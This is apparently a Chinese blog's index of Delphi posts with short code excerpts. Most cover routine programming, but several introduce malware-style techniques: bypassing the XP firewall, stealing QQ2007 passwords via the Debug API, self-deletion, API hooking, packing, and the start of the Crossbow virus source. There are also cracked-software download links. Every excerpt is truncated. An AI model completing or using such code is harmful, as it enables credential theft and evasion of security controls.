Delphi
关注
分享
扫一扫
Rzhghost
这个作者很懒，什么都没留下…
展开
-
阻止删除文件(文件占坑)的delphi代码
代码:function EnabledDebugPrivilege(const bEnabled: Boolean): Boolean;varhToken: THandle;tp: TOKEN_PRIVILEGES;a: DWORD;constSE_DEBUG_NAME = SeDebugPrivilege;beginResult := False;if (OpenProcessT转载 2008-12-11 08:50:00 · 3182 阅读 · 0 评论 -
windows2008下如何删除程序自身
procedure DeleteMe;var BatchFile: TextFile; BatchFileName: string; ProcessInfo: TProcessInformation; StartUpInfo: TStartupInfo;begin BatchFileName := ExtractFilePath(ParamStr(0)) + _deleteme.ba原创 2008-10-09 10:42:00 · 4166 阅读 · 4 评论 -
如何过XP的防火墙而不被拦截
procedure TForm1.Button1Click(Sender: TObject);var FwMgr,Profile,FwApp: variant;begin FwMgr := CreateOLEObject(HNetCfg.FwMgr); Profile := FwMgr.LocalPolicy.CurrentProfile; FwApp := CreateOLE原创 2008-10-24 13:18:00 · 3477 阅读 · 8 评论 -
Delphi中进行延时的4种方法
1、挂起，不占CPUsleep2、不挂起,占cpuprocedure Delay(msecs:integer);varFirstTickCount:longint;beginFirstTickCount:=GetTickCount;repeatApplication.ProcessMessages;until ((GetTickCount-FirstTickCount) >= Longint(m原创 2008-06-05 08:53:00 · 22977 阅读 · 4 评论 -
CodeGear RAD 2007 SP4 最新下载及破解
CodeGear RAD 2007 up4最新下载及破解官方http下载： http://altd.codegear.com/download/radstudio2007/CodeGearRADStudio2007_Dec2007.iso 官方 ftp下载： ftp://ftpd.codegear.com/download/radstudio2007/CodeGearRADStudio原创 2008-06-04 20:38:00 · 14304 阅读 · 7 评论 -
VCLSkin 4.12 FullSource的bug修正
1、修正ComboBox列表无边框的bug将WinSubClass.pas中TComboxScrollBar.WMNCPaint函数中的注释取消。2、修正系统菜单(Sysmenu)无边框的bug将WinSkinMenu.pas中TWinSkinPopMenu.NcPaint函数中作如下修改：Dc := GetWindowDC(hwnd); //Dc := GetDCEx(hwnd, msg.W原创 2008-01-16 00:34:00 · 1973 阅读 · 2 评论 -
利用Debug Api 获得QQ2007密码
代码:{*******************************************************}{ }{ 利用Debug Api 获得QQ2007密码 }{ 只支持QQ2007版本为7.1.576.1763转载 2008-03-06 16:01:00 · 8155 阅读 · 10 评论 -
封装delphi Hook Api
直接看代码unit uApiHook;interfaceuses SysUtils, Windows, TlHelp32;type PJmpCode = ^TJmpCode; TJmpCode = packed record JmpCode: BYTE; Address: Pointer; MovEAX: Array [0..2] of BYTE; end;type原创 2008-03-06 16:00:00 · 3319 阅读 · 1 评论 -
防止SQL SERVER的事件探查器跟踪软件的SQL脚本
如何防止SQL SERVER的事件探查器跟踪软件的SQL脚本，保障自己的软件不被他人分析？以下是一个停止所有SQLSERVER的跟踪器的脚本(两种方法的原理相同)：第一种方法：procedure SQLCloseAllTrack;const sql = declare @TID integer + declare Trac Cursor For + SELE原创 2007-06-15 08:23:00 · 4016 阅读 · 1 评论 -
Ehlib表格区填满表格线的解决方案
表格区填满表格线的问题，公布如下：3。6版本中修改DBGridEh.pas单元的UpdateRowCount过程：procedure TCustomDBGridEh.UpdateRowCount;var BetweenRowHeight, t: Integer; OldRowCount, OccupiedHeight, VisibleDataRowCount, NewRowCount: Int原创 2007-05-22 09:28:00 · 4600 阅读 · 2 评论 -
Delphi2007 企业版 下载地址 真实不虚
以下是下载网址:ftp://d2007:d2007@ftp.gshome.net/Delphi2007_Ent/Delphi2007_Ent.rarDelphi2007 企业版ftp://d2007:d2007@ftp.gshome.net/Delphi2007_Ent/d2007_Ent.slipDelphi2007 企业版slip下载解压后就可以进行安装！此压缩包内不包含.原创 2007-04-09 08:40:00 · 12191 阅读 · 3 评论 -
Delphi for PHP 可以下载试用了
下载地址：http://www.codegear.com/Downloads/TrialandFreeVersions/Delphi/DelphiforPHP/tabid/250/Default.aspx 为方便没有注册的用户，请直接到下载地址：ftp://ftpd.borland.com/download/delphi/php/d4php_trial.exe原创 2007-03-28 08:57:00 · 2174 阅读 · 0 评论 -
Registering an Application to a URL Protocol
To enable an application to handle a particular URL Protocol, you must add a new key, with the appropriate keys and values, to the registry in HKEY_CLASSES_ROOT.The new registry key must match the p转载 2007-03-23 09:53:00 · 2036 阅读 · 1 评论 -
如何在WINDOWS下新建多个桌面并切换(函数)
procedure SwitchToDesktop(number: integer);var name: string; DsktpHandle: HDESK; SysPath: array[1..MAX_PATH] of char; PPath: PChar; StrPath: string; len: integer; si: STARTUPINFO; pi: PROCESS_I原创 2007-03-22 15:33:00 · 2036 阅读 · 0 评论 -
delphi透明组件（控件）开发
/////////////////////////////////////////////透明的控件, 一般继承自TGraphicControl的(就是那些没有handle属性, 不能有focus的控件, 如image)都有Transparent属性. 对TWinControl类的控件, 要实现透明只要完成以下四步基本上就成了.1.在Create中设定ControlStyle :=ControlS转载 2007-01-27 16:13:00 · 2759 阅读 · 0 评论 -
实现“鼠标穿透窗体”功能
1、DELPHI实现：var ws: DWORD;begin ws := GetWindowLong(Form1.Handle, GWL_EXSTYLE); ws := ws or WS_EX_TRANSPARENT; ws := ws or $80000; SetWindowLong(Form1.Handle, GWL_EXSTYLE, ws);end; 2、在win2000转载 2007-01-27 16:09:00 · 2596 阅读 · 0 评论 -
Crossbow病毒开放源代码计划的源程序
传说中的熊猫烧香源代码这个是2003年的Crossbow病毒开放源代码计划我简单看了一下却是有不少制的借鉴的地方嘿嘿不过我编译出来的杀软却没有报毒,我也没敢执行试试如果代码里面的功能都能正常运行的话还是蛮有威力的有胆子的自己测试program Japussy;usesWindows, SysUtils, Classes, Graphics, ShellAPI{, Registry};constHe转载 2007-02-07 09:45:00 · 1693 阅读 · 0 评论 -
加壳原理与简单实现加壳（delphi源代码）
{*****************************************************************AddShell（）源自于前一段时间有写的addsection（）新增区段代码，在增加区段代码的基础上，追加了1.修改启动入口点位置2.增加一段壳头xor $50的代码function AttachStart-function AttachEnd这一段代码是先填充，再转载 2008-12-11 08:48:00 · 4114 阅读 · 0 评论